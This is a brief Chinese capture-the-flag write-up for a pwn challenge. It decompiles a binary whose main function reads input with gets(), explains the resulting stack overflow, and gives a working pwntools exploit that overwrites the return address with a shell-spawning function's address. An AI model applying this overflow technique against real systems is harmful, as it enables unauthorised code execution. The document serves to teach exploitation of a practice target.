解题过程

将题目文件拖入ida进行反汇编,查看main函数的内容。

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]

puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}

main函数中使用了一个gets函数,gets函数由于不限制输入的长度,因此可以造成溢出。

程序中有一个fun函数,会调用shell,因此可以把函数的返回地址设置为fun函数的地址。

查看程序中内存的分布,可以得到要构造数据的长度,可以看到需要构造23个字节的数据,之后构造函数返回值地址。

exp

1
2
3
4
5
6
7
from pwn import *

p = process('./pwn1')
#+1是有原因的 以后有机会解释
payload = b'a'*23+p64(0x401186+1)
p.sendline(payload)
p.interactive()